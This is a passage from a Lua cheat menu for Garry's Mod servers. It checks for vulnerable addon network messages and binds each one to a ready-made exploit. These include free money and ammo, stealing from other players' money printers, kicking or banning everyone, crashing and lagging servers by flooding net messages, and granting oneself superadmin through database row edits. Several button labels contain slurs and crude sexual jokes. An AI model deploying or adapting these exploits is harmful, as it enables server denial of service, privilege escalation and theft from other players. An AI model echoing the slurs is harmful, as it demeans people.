993 totalSploits = 1 + totalSploits
994 local id = vgui.Create("DButton", exploitsScrollPanel)
995 id:SetText(text)
996 id:SetTextColor(Color(200, 200, 200))
997 id:SetFont("Roboto")
998 id:Dock(TOP)
999 id:DockMargin(10, 10, 10, -5)
1000 id:DockPadding(2, 25, 2, 50)
1001 id.DoClick = func
1002
1003 if desc then
1004 id:SetToolTip(desc)
1005 end
1006
1007 id.Paint = function(self, w, h)
1008 id.OnCursorEntered = function(self)
1009 -- surface.PlaySound( "garrysmod/ui_hover.wav" )
1010 surface.PlaySound("buttons/button15.wav")
1011 end
1012
1013 if id:IsHovered() then
1014 draw.RoundedBox(0, 0, 0, 500, 500, Color(0, 0, 0, 120))
1015 surface.SetDrawColor(Color(0, 0, 0, 255))
1016 surface.DrawOutlinedRect(0, 0, id:GetSize())
1017 surface.DrawOutlinedRect(0, 25, id:GetSize())
1018 else
1019 draw.RoundedBox(0, 0, 0, 500, 500, Color(0, 0, 0, 120))
1020 surface.SetDrawColor(Color(0, 0, 0, 255))
1021 surface.DrawOutlinedRect(0, 0, id:GetSize())
1022 surface.DrawOutlinedRect(0, 25, id:GetSize())
1023 end
1024 end
1025 end
1026
1027 --////////////////// [EXPLOITS] ////////////////////
1028 status = ValidNetString("TCBBuyAmmo")
1029
1030 if (status) then
1031 ECPrint("Found Exploit: Free Ammo [TCBBuyAmmo]")
1032
1033 addExploit("1", "Free Ammo", "Gets All Ammo Types", function()
1034 surface.PlaySound("garrysmod/ui_click.wav")
1035 ECPrint("Getting Le Ammo")
1036
1037 for k, v in pairs(GAMEMODE.AmmoTypes) do
1038 net.Start("TCBBuyAmmo")
1039 net.WriteTable({nil, v.ammoType, nil, "0", "999999"})
1040 net.SendToServer()
1041 end
1042 end)
1043 end
1044
1045 status = ValidNetString("DataSend")
1046
1047 if (status) then
1048 ECPrint("Found Exploit: Steal All Monies #1 [DataSend]")
1049
1050 addExploit("2", "Steal All Monies #1", "Takes money from printers", function()
1051 surface.PlaySound("garrysmod/ui_click.wav")
1052
1053 for k, v in pairs(ents.GetAll()) do
1054 if v:GetClass() == "adv_moneyprinter" then
1055 ECPrint("Collecting Money")
1056 net.Start("DataSend")
1057 net.WriteFloat(2)
1058 net.WriteEntity(v)
1059 net.WriteEntity(LocalPlayer())
1060 net.SendToServer()
1061 end
1062 end
1063 end)
1064 end
1065
1066 status = ValidNetString("FarmingmodSellItems")
1067
1068 if (status) then
1069 ECPrint("Found Exploit: Free Money [FarmingmodSellItems]")
1070
1071 addExploit("3", "Free Money", "An exploit in the Farming Mod", function()
1072 surface.PlaySound("garrysmod/ui_click.wav")
1073 ECPrint("Enjoy the b1g monies")
1074 net.Start("FarmingmodSellItems")
1075
1076 net.WriteTable({
1077 Cost = 10,
1078 CropModel = "models/props/eryk/garlic.mdl",
1079 CropType = 2,
1080 Info = "Garlic Seed",
1081 Model = "models/props/eryk/seedbag.mdl",
1082 Name = "Garlic",
1083 Quality = 4,
1084 Sell = 99999,
1085 Type = "Seed"
1086 })
1087
1088 net.WriteInt(1, 16)
1089 net.SendToServer()
1090 end)
1091 end
1092
1093 status = ValidNetString("start_wd_emp")
1094
1095 if (status) then
1096 ECPrint("Found Exploit: Hack Keypad [start_wd_emp]")
1097
1098 addExploit("4", "Hack Keypad", "Instantly opens nearby keypads. Has a cooldown", function()
1099 surface.PlaySound("garrysmod/ui_click.wav")
1100 ECNotify("Hacking Keypads")
1101 net.Start("start_wd_emp")
1102 net.SendToServer()
1103 end)
1104 end
1105
1106 status = ValidNetString("duelrequestguiYes")
1107
1108 if (status) then
1109 ECPrint("Found Exploit: Get Money [duelrequestguiYes]")
1110
1111 addExploit("5", "Get Money", "Duel Exploit", function()
1112 surface.PlaySound("garrysmod/ui_click.wav")
1113 ECNotify("getting ez monies")
1114 net.Start("duelrequestguiYes")
1115 net.WriteInt(-99999999999999999999999999999999999999999999999999999999999999999999999999999, 32)
1116 net.WriteEntity(table.Random(player.GetAll()))
1117 net.WriteString("Crossbow")
1118 net.SendToServer()
1119 end)
1120 end
1121
1122 status = ValidNetString("DarkRP_Kun_ForceSpawn")
1123
1124 if (status) then
1125 ECPrint("Found Exploit: Respawn #1 [DarkRP_Kun_ForceSpawn]")
1126
1127 addExploit("6", "Respawn #1", "Just respawn", function()
1128 surface.PlaySound("garrysmod/ui_click.wav")
1129 ECPrint("Respawn")
1130 net.Start("DarkRP_Kun_ForceSpawn")
1131 net.SendToServer()
1132 end)
1133 end
1134
1135 status = ValidNetString("SyncPrinterButtons76561198056171650")
1136
1137 if (status) then
1138 ECPrint("Found Exploit: Steal All Monies #2 [SyncPrinterButtons76561198056171650]")
1139
1140 addExploit("7", "Steal All Monies #2", "Takes money from printers", function()
1141 surface.PlaySound("garrysmod/ui_click.wav")
1142 ECPrint("Collecting Money")
1143
1144 for k, v in pairs(ents.GetAll()) do
1145 if (v:GetClass() == "adv_moneyprinter") then
1146 net.Start("SyncPrinterButtons76561198056171650")
1147 net.WriteEntity(v)
1148 net.WriteUInt(2, 4)
1149 net.SendToServer()
1150 end
1151 end
1152 end)
1153 end
1154
1155 ---------------------------------------------------------------------------------------------
1156 local function report()
1157 for i = 1, 2000 do
1158 net.Start("DL_Answering")
1159 net.SendToServer()
1160 end
1161 end
1162
1163 if (Damagelog) then
1164 ECPrint("Found Exploit: Kick All Players")
1165 reportSpam = 0
1166
1167 addExploit("1337", "Kick All Players", "Kicks all players", function()
1168 surface.PlaySound("garrysmod/ui_click.wav")
1169
1170 if (reportSpam == 0) then
1171 ECNotify("Starting Kicker")
1172 reportSpam = 1
1173 timer.Create("reportSpammer", 0.05, 0, report)
1174 else
1175 ECNotify("Stopping Kicker")
1176 reportSpam = 0
1177 timer.Remove("reportSpammer")
1178 end
1179 end)
1180 end
1181
1182 ----------------------------------------------------------------------------------------------
1183 status = ValidNetString("SimplicityAC_aysent")
1184
1185 if (status) then
1186 ECPrint("Found Exploit: Crash #1 [SimplicityAC_aysent]")
1187
1188 addExploit("8", "Crash #1", "Will instantly crash the server", function()
1189 surface.PlaySound("garrysmod/ui_click.wav")
1190 ECPrint("Goodbye Server")
1191 local tbl = {}
1192
1193 for i = 1, 400 do
1194 tbl[i] = i
1195 end
1196
1197 net.Start("SimplicityAC_aysent")
1198 net.WriteUInt(1, 8)
1199 net.WriteUInt(4294967295, 32)
1200 net.WriteTable(tbl)
1201 net.SendToServer()
1202 end)
1203 end
1204
1205 status = ValidNetString("RevivePlayer")
1206
1207 if (status) then
1208 ECPrint("Found Exploit: Reanimation #1 [RevivePlayer]")
1209
1210 addExploit("9", "Reanimation #1", "Instant revival", function()
1211 surface.PlaySound("garrysmod/ui_click.wav")
1212
1213 if not timer.Exists("reanimation1") then
1214 ECNotify("Enabled")
1215
1216 timer.Create("reanimation1", 0.5, 0, function()
1217 if not LocalPlayer():Alive() then
1218 net.Start("RevivePlayer")
1219 net.WriteEntity(LocalPlayer())
1220 net.SendToServer()
1221 end
1222 end)
1223 else
1224 timer.Remove("reanimation1")
1225 ECNotify("Disabled")
1226 end
1227 end)
1228 end
1229
1230 status = ValidNetString("NLRKick")
1231
1232 if (status) then
1233 ECPrint("Found Exploit: Kick Everyone [NLRKick]")
1234
1235 addExploit("10", "Kick Everyone", "kick all the beaners", function()
1236 surface.PlaySound("garrysmod/ui_click.wav")
1237 ECNotify("Kicking All")
1238
1239 for k, v in pairs(player.GetAll()) do
1240 if v ~= LocalPlayer() then
1241 net.Start("NLRKick")
1242 net.WriteEntity(v)
1243 net.SendToServer()
1244 end
1245 end
1246 end)
1247 end
1248
1249 status = ValidNetString("timebombDefuse")
1250
1251 if (status) then
1252 ECPrint("Found Exploit: Delete All Props [timebombDefuse]")
1253
1254 addExploit("11", "Delete All Props", "props = dead", function()
1255 surface.PlaySound("garrysmod/ui_click.wav")
1256 ECNotify("Props De_Stroyed")
1257
1258 for k, v in pairs(ents.GetAll()) do
1259 net.Start("timebombDefuse")
1260 net.WriteEntity(v)
1261 net.WriteBool(true)
1262 net.SendToServer()
1263 end
1264 end)
1265 end
1266
1267 status = ValidNetString("NDES_SelectedEmblem")
1268
1269 if (status) then
1270 ECPrint("Found Exploit: Lagger #2 [NDES_SelectedEmblem]")
1271
1272 addExploit("12", "Lagger #2", "oof yuh get l4gged", function()
1273 surface.PlaySound("garrysmod/ui_click.wav")
1274
1275 if not timer.Exists("lagger2") then
1276 timer.Create("lagger2", 0.5, 0, function()
1277 for i = 1, 2000 do
1278 net.Start("NDES_SelectedEmblem", true)
1279 net.WriteString("seized")
1280 net.SendToServer()
1281 end
1282 end)
1283
1284 ECNotify("Starting Lagger")
1285 else
1286 timer.Remove("lagger2")
1287 ECNotify("Stopping Lagger")
1288 end
1289 end)
1290 end
1291
1292 status = ValidNetString("Morpheus.StaffTracker")
1293
1294 if (status) then
1295 ECPrint("Found Exploit: Crasher #1 [Morpheus.StaffTracker]")
1296
1297 addExploit("13", "Crasher #1", "not even hard. unlike nippy's dick when he sees voltz", function()
1298 surface.PlaySound("garrysmod/ui_click.wav")
1299
1300 if not timer.Exists("crasher1") then
1301 timer.Create("crasher1", 0.5, 0, function()
1302 for i = 1, 2000 do
1303 net.Start("Morpheus.StaffTracker")
1304 net.SendToServer()
1305 end
1306 end)
1307
1308 ECNotify("Crashing Server")
1309 else
1310 timer.Remove("crasher1")
1311 ECNotify("Canceling Crasher")
1312 end
1313 end)
1314 end
1315
1316 status = ValidNetString("egg")
1317
1318 if (status) then
1319 ECPrint("Found Exploit: Get Easter Egg")
1320
1321 addExploit("14", "Get Easter Egg", "ez eggs", function()
1322 surface.PlaySound("garrysmod/ui_click.wav")
1323 RunConsoleCommand("say", "4bigz")
1324 RunConsoleCommand("cc_egg2")
1325 net.Start("egg")
1326 net.SendToServer()
1327 ECNotify("Gave Easter Egg")
1328 end)
1329 end
1330
1331 status = ValidNetString("pplay_deleterow")
1332
1333 if (status) then
1334 ECPrint("Found Exploit: GET SUPERADMIN [pplay_deleterow]")
1335
1336 addExploit("15", "GET SUPERADMIN", "Rejoin game after clicking", function()
1337 surface.PlaySound("garrysmod/ui_click.wav")
1338 local id = LocalPlayer():SteamID()
1339 local tbl = {}
1340 tbl.name = "FAdmin_PlayerGroup"
1341 tbl.where = {"steamid", tostring(id)}
1342 net.Start("pplay_deleterow")
1343 net.WriteTable(tbl)
1344 net.SendToServer()
1345 local tbl = {}
1346 tbl.tblname = "FAdmin_PlayerGroup"
1347 tbl.tblinfo = {tostring(id), "superadmin"}
1348 net.Start("pplay_addrow")
1349 net.WriteTable(tbl)
1350 net.SendToServer()
1351 ECNotify("promotion ;)")
1352 end)
1353 end
1354
1355 -- ttt report bypass by daddy grampa
1356 local function CheckChild(pan)
1357 local title = "You have been reported! Please answer all your reports."
1358 if not pan or not IsValid(pan) then return end
1359
1360 if pan.GetTitle and pan:GetTitle() == title then
1361 pan:Remove()
1362 print("Removed warning box")
1363
1364 return
1365 end
1366
1367 for k, v in pairs(pan:GetChildren()) do
1368 if v.GetTitle and v:GetTitle() == title then
1369 v:Remove()
1370 print("Removed warning box")
1371
1372 return
1373 end
1374
1375 if #v:GetChildren() > 0 then
1376 CheckChild(v)
1377 end
1378 end
1379 end
1380
1381 if (engine.ActiveGamemode() == "terrortown") then
1382 bypass = 0
1383 ECPrint("Found Exploit: TTT Report Bypass")
1384
1385 addExploit("16", "Toggle TTT Report Bypass", "b1g bypass amirite", function()
1386 surface.PlaySound("garrysmod/ui_click.wav")
1387
1388 if (bypass == 0) then
1389 hook.Add("Think", "remove_ttt_report", function()
1390 local pan = vgui.GetHoveredPanel()
1391 CheckChild(pan)
1392 end)
1393
1394 ECNotify("Enabled Report Bypass")
1395 bypass = 1
1396 else
1397 hook.Remove("Think", "remove_ttt_report")
1398 ECNotify("Disabled Report Bypass")
1399 bypass = 0
1400 end
1401 end)
1402 end
1403
1404 status = ValidNetString("EZS_PlayerTag")
1405
1406 if (status) then
1407 ECPrint("Found Exploit: Lagger #3 [EZS_PlayerTag]")
1408
1409 addExploit("17", "Lagger #3", "b1g lags my duder", function()
1410 surface.PlaySound("garrysmod/ui_click.wav")
1411
1412 if not timer.Exists("lagger3") then
1413 timer.Create("lagger3", 0.5, 0, function()
1414 for k, v in pairs(player.GetAll()) do
1415 net.Start("EZS_PlayerTag", true)
1416 net.WriteEntity(v)
1417 net.WriteString("Seized")
1418 net.SendToServer()
1419
1420 timer.Simple(2, function()
1421 net.Start("EZS_PlayerTag", true)
1422 net.WriteEntity(v)
1423 net.WriteString("Seized")
1424 net.SendToServer()
1425 end)
1426 end
1427 end)
1428
1429 ECNotify("Starting Lagger")
1430 else
1431 timer.Remove("lagger3")
1432 ECNotify("Stopping Lagger")
1433 end
1434 end)
1435 end
1436
1437 if ConVarExists("advttt_spreadovertime_enabled") then
1438 ECPrint("Found Exploit: Remove Spread")
1439
1440 addExploit("18", "Remove Spread", "pSilent No Spread", function()
1441 surface.PlaySound("garrysmod/ui_click.wav")
1442 hook.Remove("PlayerTick", "WyoziAdvTTTSpreadOverTime")
1443 ECNotify("Spread Removed")
1444 end)
1445 end
1446
1447 status = ValidNetString("fp_as_doorHandler")
1448
1449 if (status) then
1450 ECPrint("Found Exploits: Open Door, Close Door, Remove Door Owners [fp_as_doorHandler]")
1451
1452 addExploit("19", "Open Door", "Force open the door you are looking at", function()
1453 surface.PlaySound("garrysmod/ui_click.wav")
1454 net.Start("fp_as_doorHandler")
1455 net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
1456 net.WriteString("unlock")
1457 net.SendToServer()
1458 ECNotify("Opened Door")
1459 end)
1460 end
1461
1462 status = ValidNetString("fp_as_doorHandler")
1463
1464 if (status) then
1465 addExploit("20", "Close Door", "Force close the door you are looking at", function()
1466 surface.PlaySound("garrysmod/ui_click.wav")
1467 net.Start("fp_as_doorHandler")
1468 net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
1469 net.WriteString("lock")
1470 net.SendToServer()
1471 ECNotify("Opened Door")
1472 end)
1473 end
1474
1475 status = ValidNetString("fp_as_doorHandler")
1476
1477 if (status) then
1478 addExploit("21", "Remove Door Owner", "Force remove door owner of the door you are looking at", function()
1479 surface.PlaySound("garrysmod/ui_click.wav")
1480 local door = LocalPlayer():GetEyeTrace().Entity
1481 local doorOwner = door:getDoorData()["owner"]
1482 net.Start("fp_as_doorHandler")
1483 net.WriteEntity(door)
1484 net.WriteString("removeOwner")
1485 net.WriteDouble(doorOwner)
1486 net.SendToServer()
1487 ECNotify("Opened Door")
1488 end)
1489 end
1490
1491 status = ValidNetString("VJSay")
1492
1493 if (status) then
1494 ECPrint("Found Exploit: VJSay [OLD] [VJSay]")
1495
1496 addExploit("22", "VJSay [OLD]", "", function()
1497 surface.PlaySound("garrysmod/ui_click.wav")
1498 inputFrame2Exists = true
1499 inputFrame2 = vgui.Create("DFrame")
1500 inputFrame2:SetTitle("Enter your message!")
1501 inputFrame2:SetSize(400, 75)
1502 inputFrame2:SetPos(ScrW() / 2 - inputFrame2:GetWide() / 2, ScrH() / 2 + 230)
1503 inputFrame2:SetDraggable(false)
1504 inputFrame2:ShowCloseButton(false)
1505 inputFrame2:MakePopup()
1506
1507 inputFrame2.Paint = function(self, w, h)
1508 draw.RoundedBox(5, 0, 0, w, h, Color(30, 30, 30))
1509 end
1510
1511 local TextEntry2 = vgui.Create("DTextEntry", inputFrame2)
1512 TextEntry2:SetSize(380, 30)
1513 TextEntry2:SetPos(inputFrame2:GetWide() / 2 - TextEntry2:GetWide() / 2, inputFrame2:GetTall() / 2 - TextEntry2:GetTall() / 2)
1514 TextEntry2:SetText("Broadcast Msg")
1515
1516 TextEntry2.OnEnter = function(self)
1517 surface.PlaySound("garrysmod/ui_click.wav")
1518 ECNotify("Broadcasting")
1519 net.Start("VJSay")
1520 net.WriteEntity(nil)
1521 net.WriteString(TextEntry2:GetValue())
1522 net.WriteString("")
1523 net.SendToServer()
1524 inputFrame2:SetVisible(false)
1525 end
1526 end)
1527 end
1528
1529 status = ValidNetString("ply_pick_shit")
1530
1531 if (status) then
1532 ECPrint("Found Exploit: free money amirite [ply_pick_shit]")
1533
1534 addExploit("23", "free money amirite", "stacks in ur wallet generator", function()
1535 surface.PlaySound("garrysmod/ui_click.wav")
1536
1537 for k, v in pairs(player.GetAll()) do
1538 for i = 1, 255 do
1539 net.Start("ply_pick_shit")
1540 net.WriteEntity(LocalPlayer())
1541 net.WriteEntity(v)
1542 net.SendToServer()
1543 end
1544 end
1545
1546 ECNotify("enjoy monies")
1547 end)
1548 end
1549
1550 status = ValidNetString("pac.net.TouchFlexes.ClientNotify")
1551
1552 if (status) then
1553 ECPrint("Found Exploit: Crasher #2 [pac.net.TouchFlexes.ClientNotify]")
1554
1555 addExploit("24", "Crasher #2", "big lagz", function()
1556 surface.PlaySound("garrysmod/ui_click.wav")
1557
1558 if not timer.Exists("crasher2") then
1559 timer.Create("crasher2", 0, 0, function()
1560 for i = 1, 400 do
1561 net.Start("pac.net.TouchFlexes.ClientNotify")
1562 net.WriteInt(9999999999999999999999999999999999999999999999999999999999999999999999, 13)
1563 net.SendToServer()
1564 end
1565 end)
1566
1567 ECNotify("Starting Crasher")
1568 else
1569 timer.Remove("crasher2")
1570 ECNotify("Stopping Crasher")
1571 end
1572 end)
1573 end
1574
1575 status = ValidNetString("BM2.Command.SellBitcoins")
1576
1577 if (status) then
1578 ECPrint("Found Exploit: Sell Your Bitcoins [BM2.Command.SellBitcoins]")
1579
1580 addExploit("25", "Sell your Bitcoins", "sells your and other peoples bitcoins at a great distance", function()
1581 surface.PlaySound("garrysmod/ui_click.wav")
1582
1583 for k, v in pairs(ents.FindByClass("bm2_bitminer_1")) do
1584 net.Start("BM2.Command.SellBitcoins")
1585 net.WriteEntity(v)
1586 net.SendToServer()
1587 end
1588
1589 for k, v in pairs(ents.FindByClass("bm2_bitminer_2")) do
1590 net.Start("BM2.Command.SellBitcoins")
1591 net.WriteEntity(v)
1592 net.SendToServer()
1593 end
1594
1595 for k, v in pairs(ents.FindByClass("bm2_bitminer_rack")) do
1596 net.Start("BM2.Command.SellBitcoins")
1597 net.WriteEntity(v)
1598 net.SendToServer()
1599 end
1600 end)
1601 end
1602
1603 status = ValidNetString("BM2.Command.Eject")
1604
1605 if (status) then
1606 ECPrint("Found Exploit: Lagger #4 [BM2.Command.Eject]")
1607
1608 addExploit("26", "Lagger #4", "discovered by triggered", function()
1609 surface.PlaySound("garrysmod/ui_click.wav")
1610
1611 if not timer.Exists("lagger4") then
1612 timer.Create("lagger4", 0, 0, function()
1613 for i = 1, 1000 do
1614 net.Start("BM2.Command.Eject", true)
1615 net.WriteInt(9999999999999999999999999999999999999999999999999999999999999999999999, 8)
1616 net.SendToServer()
1617 end
1618 end)
1619
1620 ECNotify("Starting Lagger")
1621 else
1622 timer.Remove("lagger4")
1623 ECNotify("Stopping Lagger")
1624 end
1625 end)
1626 end
1627
1628 status = ValidNetString("BM2.Command.SellBitcoins")
1629
1630 if (status) then
1631 ECPrint("Found Exploit: Lagger #5 [BM2.Command.SellBitcoins]")
1632
1633 addExploit("27", "Lagger #5", "discovered by Leith, an exploit in the addon 'Bitminers 2'", function()
1634 surface.PlaySound("garrysmod/ui_click.wav")
1635
1636 timer.Create("lagger5", 0, 0, function()
1637 for i = 1, 1000 do
1638 net.Start("BM2.Command.SellBitcoins", true)
1639 net.WriteEntity(LocalPlayer())
1640 net.SendToServer()
1641 end
1642 end)
1643 end)
1644 end
1645
1646 status = ValidNetString("ItemStoreUse")
1647
1648 if (status) then
1649 ECPrint("Found Exploit: Lagger #6 [ItemStoreUse]")
1650
1651 addExploit("28", "Lagger #6", "discovered by triggered, an exploit in the addon 'ItemStore'", function()
1652 surface.PlaySound("garrysmod/ui_click.wav")
1653
1654 if not timer.Exists("lagger6") then
1655 timer.Create("lagger6", 0, 0, function()
1656 for i = 1, 1000 do
1657 net.Start("ItemStoreUse", true)
1658 net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
1659 net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
1660 net.SendToServer()
1661 end
1662 end)
1663
1664 ECNotify("Starting Lagger")
1665 else
1666 timer.Remove("lagger6")
1667 ECNotify("Stopping Lagger")
1668 end
1669 end)
1670 end
1671
1672 status = ValidNetString("ItemStoreDrop")
1673
1674 if (status) then
1675 ECPrint("Found Exploit: Lagger #7 [ItemStoreDrop]")
1676
1677 addExploit("29", "Lagger #7", "discovered by Leith, an exploit in the addon 'ItemStore'", function()
1678 surface.PlaySound("garrysmod/ui_click.wav")
1679
1680 if not timer.Exists("lagger7") then
1681 timer.Create("lagger7", 0, 0, function()
1682 for i = 1, 1000 do
1683 net.Start("ItemStoreDrop", true)
1684 net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
1685 net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
1686 net.SendToServer()
1687 end
1688 end)
1689
1690 ECNotify("Starting Lagger")
1691 else
1692 timer.Remove("lagger7")
1693 ECNotify("Stopping Lagger")
1694 end
1695 end)
1696 end
1697
1698 status = ValidNetString("gMining.sellMineral")
1699
1700 if (status) then
1701 ECPrint("Found Exploit: Lagger #8 [gMining.sellMineral]")
1702
1703 addExploit("30", "Lagger #8", "discovered by Leith, an exploit in the addon 'gMining'", function()
1704 surface.PlaySound("garrysmod/ui_click.wav")
1705 ECNotify("Starting")
1706
1707 if not timer.Exists("lagger8") then
1708 timer.Create("lagger8", 0, 0, function()
1709 for i = 1, 1000 do
1710 net.Start("gMining.sellMineral", true)
1711 net.WriteInt(9999999999999999999999999999999999999999999999999999999999, 3)
1712 net.WriteString(" ")
1713 net.SendToServer()
1714 end
1715 end)
1716 end
1717 end)
1718 end
1719
1720 status = ValidNetString("PlayerUseItem")
1721
1722 if (status) then
1723 ECPrint("Found Exploit: Lagger #9 [PlayerUseItem]")
1724
1725 addExploit("31", "Lagger #9", "discovered by triggered", function()
1726 surface.PlaySound("garrysmod/ui_click.wav")
1727
1728 if not timer.Exists("lagger9") then
1729 timer.Create("lagger9", 0, 0, function()
1730 for i = 1, 800 do
1731 net.Start("PlayerUseItem", true)
1732 net.WriteInt(99999999999999999999999999999999999999999999999, 32)
1733 net.SendToServer()
1734 end
1735 end)
1736
1737 ECNotify("Starting Lagger")
1738 else
1739 timer.Remove("lagger9")
1740 ECNotify("Stopping Lagger")
1741 end
1742 end)
1743 end
1744
1745 status = ValidNetString("RequestMAPSize")
1746
1747 if (status) then
1748 ECPrint("Found Exploit: Lagger #10 [RequestMAPSize]")
1749
1750 addExploit("32", "Lagger #10", "1tap server", function()
1751 surface.PlaySound("garrysmod/ui_click.wav")
1752
1753 if not timer.Exists("lagger10") then
1754 timer.Create("lagger10", 0, 0, function()
1755 for i = 1, 400 do
1756 net.Start("RequestMAPSize", true)
1757 net.SendToServer()
1758 end
1759 end)
1760
1761 ECNotify("Starting Lagger")
1762 else
1763 timer.Remove("lagger10")
1764 ECNotify("Stopping Lagger")
1765 end
1766 end)
1767 end
1768
1769 status = ValidNetString("MG2.Request.GangRankings")
1770
1771 if (status) then
1772 ECPrint("Found Exploit: Lagger #11 [MG2.Request.GangRankings]")
1773
1774 addExploit("33", "Lagger #11", "discovered by Leith, an exploit in the addon 'MGangs 2'", function()
1775 surface.PlaySound("garrysmod/ui_click.wav")
1776
1777 if not timer.Exists("lagger11") then
1778 timer.Create("lagger11", 0, 0, function()
1779 for i = 1, 1000 do
1780 net.Start("MG2.Request.GangRankings", true)
1781 net.SendToServer()
1782 end
1783 end)
1784
1785 ECNotify("Starting Lagger")
1786 else
1787 timer.Remove("lagger11")
1788 ECNotify("Stopping Lagger")
1789 end
1790 end)
1791 end
1792
1793 status = ValidNetString("dLogsGetCommand")
1794
1795 if (status) then
1796 ECPrint("Found Exploit: Lagger #12 [dLogsGetCommand]")
1797
1798 addExploit("34", "Lagger #12", "b1g lags", function()
1799 surface.PlaySound("garrysmod/ui_click.wav")
1800 ECNotify("Starting Lagger")
1801
1802 for i = 1, 7000 do
1803 net.Start("dLogsGetCommand", true)
1804
1805 net.WriteTable({
1806 cmd = "+forward",
1807 args = " "
1808 })
1809
1810 net.SendToServer()
1811 end
1812 end)
1813 end
1814
1815 status = ValidNetString("ats_send_toServer")
1816
1817 if (status) then
1818 ECPrint("Found Exploit: Lagger #13 [ats_send_toServer]")
1819
1820 addExploit("35", "Lagger #13", "big lags", function()
1821 surface.PlaySound("garrysmod/ui_click.wav")
1822 ECNotify("Starting Lagger")
1823
1824 for i = 1, 2000 do
1825 net.Start("ats_send_toServer", true)
1826 net.WriteTable({" ", "Open", nil, nil, nil, nil})
1827 net.SendToServer()
1828 end
1829 end)
1830 end
1831
1832 status = ValidNetString("shopguild_buyitem")
1833
1834 if (status) then
1835 ECPrint("Found Exploit: Guild Exploit [shopguild_buyitem]")
1836
1837 addExploit("36", "Guild Exploit", "increases the level of your guild", function()
1838 surface.PlaySound("garrysmod/ui_click.wav")
1839 ECPrint("Guild level successfully upgraded")
1840 local level = tonumber(LocalPlayer():GetNWInt("lvlguild"))
1841
1842 if level > tonumber(LocalPlayer():GetNWInt("lvlguild")) then
1843 level = tonumber(LocalPlayer():GetNWInt("lvlguild"))
1844 end
1845
1846 net.Start("shopguild_buyitem")
1847 net.WriteString("lvl")
1848 net.WriteDouble(level)
1849 net.WriteString("Guild Level " .. level)
1850 net.WriteEntity(LocalPlayer())
1851 net.WriteUInt(2, 4)
1852 net.WriteDouble(0)
1853 net.SendToServer()
1854 level = level + 1
1855 end)
1856 end
1857
1858 status = ValidNetString("VoteKickNO")
1859
1860 if (status) then
1861 ECPrint("Found Exploit: Votekick [VoteKickNO]")
1862
1863 addExploit("37", "Votekick", "kicking all", function()
1864 surface.PlaySound("garrysmod/ui_click.wav")
1865
1866 for k, v in pairs(player.GetAll()) do
1867 net.Start("VoteKickNO")
1868 net.WriteFloat(v:EntIndex())
1869 net.WriteFloat(6)
1870 net.SendToServer()
1871 net.Start("VoteKickNO")
1872 net.WriteFloat(v:EntIndex())
1873 net.WriteFloat(6)
1874 net.SendToServer()
1875 net.Start("VoteKickNO")
1876 net.WriteFloat(v:EntIndex())
1877 net.WriteFloat(6)
1878 net.SendToServer()
1879 net.Start("VoteKickNO")
1880 net.WriteFloat(v:EntIndex())
1881 net.WriteFloat(6)
1882 net.SendToServer()
1883 end
1884 end)
1885 end
1886
1887 status = ValidNetString("VoteBanNO")
1888
1889 if (status) then
1890 ECPrint("Found Exploit: Voteban [VoteBanNO]")
1891
1892 addExploit("38", "Voteban", "bans all", function()
1893 surface.PlaySound("garrysmod/ui_click.wav")
1894
1895 for k, v in pairs(player.GetAll()) do
1896 net.Start("VoteBanNO")
1897 net.WriteFloat(v:EntIndex())
1898 net.WriteFloat(8)
1899 net.SendToServer()
1900 net.Start("VoteBanNO")
1901 net.WriteFloat(v:EntIndex())
1902 net.WriteFloat(8)
1903 net.SendToServer()
1904 net.Start("VoteBanNO")
1905 net.WriteFloat(v:EntIndex())
1906 net.WriteFloat(8)
1907 net.SendToServer()
1908 end
1909 end)
1910 end
1911
1912 status = ValidNetString("NewReport")
1913
1914 if (status) then
1915 ECPrint("Found Exploit: Custom Report [NewReport]")
1916
1917 addExploit("39", "Custom Report", "Report all faggots", function()
1918 surface.PlaySound("garrysmod/ui_click.wav")
1919
1920 for k, v in pairs(player.GetAll()) do
1921 net.Start("NewReport")
1922 net.WriteType(ply)
1923 net.WriteInt(8, 5)
1924 net.WriteString("hahaha")
1925 net.SendToServer()
1926 end
1927 end)
1928 end
1929
1930 status = ValidNetString("Warn_CreateWarn")
1931
1932 if (status) then
1933 ECPrint("Found Exploit: Custom Warn [Warn_CreateWarn]")
1934
1935 addExploit("40", "Custom Warn", "Warn all faggots", function()
1936 surface.PlaySound("garrysmod/ui_click.wav")
1937
1938 for k, v in pairs(player.GetAll()) do
1939 net.Start("Warn_CreateWarn")
1940 net.WriteEntity(ply)
1941 net.WriteString("hahaha")
1942 net.SendToServer()
1943 end
1944 end)
1945 end
1946
1947 status = ValidNetString("showDisguiseHUD")
1948
1949 if (status) then
1950 ECPrint("Found Exploit: Disguise #2 [showDisguiseHUD]")
1951
1952 addExploit("41", "Disguise #2", "allows you to disguise as any job", function()
1953 surface.PlaySound("garrysmod/ui_click.wav")
1954 ECPrint("Choose a disguise")
1955 PlayerCount = 0
1956
1957 for k, v in pairs(player.GetAll()) do
1958 PlayerCount = PlayerCount + 1
1959 end
1960
1961 local TeamNum
1962 local disguise_Model_Preview_Default
1963 local base = vgui.Create("DFrame")
1964 base:SetSize(300, 420)
1965 base:Center()
1966 base:SetTitle(" ")
1967 base:ShowCloseButton(false)
1968 base:MakePopup()
1969
1970 function base:Paint()
1971 draw.RoundedBoxEx(5, 0, 0, base:GetWide(), base:GetTall(), Color(20, 20, 20, 200), false, true)
1972 draw.RoundedBox(0, 0, 30, base:GetWide(), base:GetTall() - 60, Color(10, 10, 10, 200))
1973 draw.RoundedBox(0, 0, 30, base:GetWide(), 5, Color(255, 255, 255, 255))
1974 draw.RoundedBox(0, 0, 390, base:GetWide(), 5, Color(255, 255, 255, 255))
1975 draw.SimpleText("Disguise", "DisFontBold", base:GetWide() / 4, -1)
1976 end
1977
1978 local ExitButton = vgui.Create("DButton", base)
1979 ExitButton:SetPos(base:GetWide() + 4 - ExitButton:GetWide())
1980 ExitButton:SetText("Close")
1981 ExitButton:SetSize(60, 20)
1982 ExitButton:SetFont("DermaDefaultBold")
1983
1984 ExitButton.Paint = function()
1985 if ExitButton.Hovered then
1986 if ExitButton:IsDown() then
1987 ExitButton:SetTextColor(Color(200, 200, 200, 200))
